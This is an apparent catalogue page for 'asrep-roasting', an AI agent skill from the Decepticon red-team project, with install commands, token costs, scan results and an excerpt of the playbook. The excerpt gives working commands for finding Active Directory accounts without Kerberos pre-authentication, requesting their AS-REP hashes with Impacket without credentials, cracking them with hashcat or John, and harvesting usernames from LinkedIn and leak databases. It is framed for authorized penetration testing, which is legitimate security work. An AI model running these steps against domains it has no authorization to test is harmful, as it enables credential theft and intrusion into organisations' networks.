asrep-roasting

asrep-roasting is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 31 tokens per session (970 once invoked), scanned A, original, Apache-2.0.

A security testing playbook for requesting Kerberos authentication data from Active Directory accounts that do not require pre-authentication, then attempting to crack it offline. Kerberos is the authentication system commonly used by Windows domains.

In plain words
What is it for?
Use it during authorized assessments to find affected users, request AS-REP responses, save them in a cracking-tool format, and test password strength offline.
Why use it?
It identifies accounts whose configuration may expose crackable authentication material without first logging in with a valid domain account.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it during authorized assessments to find affected users, request AS-REP responses, save them in a cracking-tool format, and test password strength offline.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/asrep-roasting
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,463 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill asrep-roasting
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for asrep-roasting

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/asrep-roasting.svg)](https://agentmods.dev/skills/purpleailab/decepticon/asrep-roasting)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/asrep-roasting"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/asrep-roasting.svg" alt="Measured on agentmods" height="20"></a>
Per session 31 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 970 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 19
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00031 $0.00970
Opus 5 $0.00015 $0.00485
Sonnet 5 $0.00006 $0.00194
Haiku 4.5 $0.00003 $0.00097

Measured 9d ago against content hash dec069e09edc, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade A, and why

asrep-roasting scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md · 103 lines

How it starts

The opening of the file, as written. The whole thing — 103 lines — stays where its author put it; the contents beside it link to each section on GitHub.

AS-REP Roasting Playbook

Prerequisite

None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).

1. Identify vulnerable users

From BloodHound:

kg_query(kind="user", filter="dontreqpreauth=true and enabled=true")

Direct LDAP (if you have any cred or anonymous-bind allowed):

ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
  sAMAccountName

Or brute-force user discovery (only when no LDAP access):

# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt

2. Request AS-REP

Impacket (zero-auth path):

GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
  -format hashcat -no-pass -outputfile /tmp/asrep.hashes

With creds (more reliable, also enum):

GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -format hashcat -outputfile /tmp/asrep.hashes

Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).

3. Crack offline (hashcat mode 18200)

hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes

AS-REP-roastable users tend to be:

  • Legacy service accounts (sysadmin set DONT_REQ_PREAUTH to "fix" a ticket issue in 2014, never reverted)
  • Test / dev accounts with weak passwords
  • Accounts created from a misconfigured PowerShell script

Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.

4. Userlist sources when zero-auth

Without LDAP, your userlist comes from:

  • kerbrute userenum against common lists (jsmith.txt, statistically-common-usernames)
  • LinkedIn scrape → format conversion (firstname.lastname, flastname)
  • Github commit emails from company orgs
  • Email leaks (HIBP, Dehashed if op-authorized)
  • Subdomain enumeration → username patterns in metadata

Read the full file on GitHub · 103 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 103 lines · 31 tokens per session scan A dec069e09edc

Subscribe to this mod's changes

asrep-roasting is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,463 stars, last pushed 9d ago), licensed Apache-2.0. It adds 31 tokens to every session and 970 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.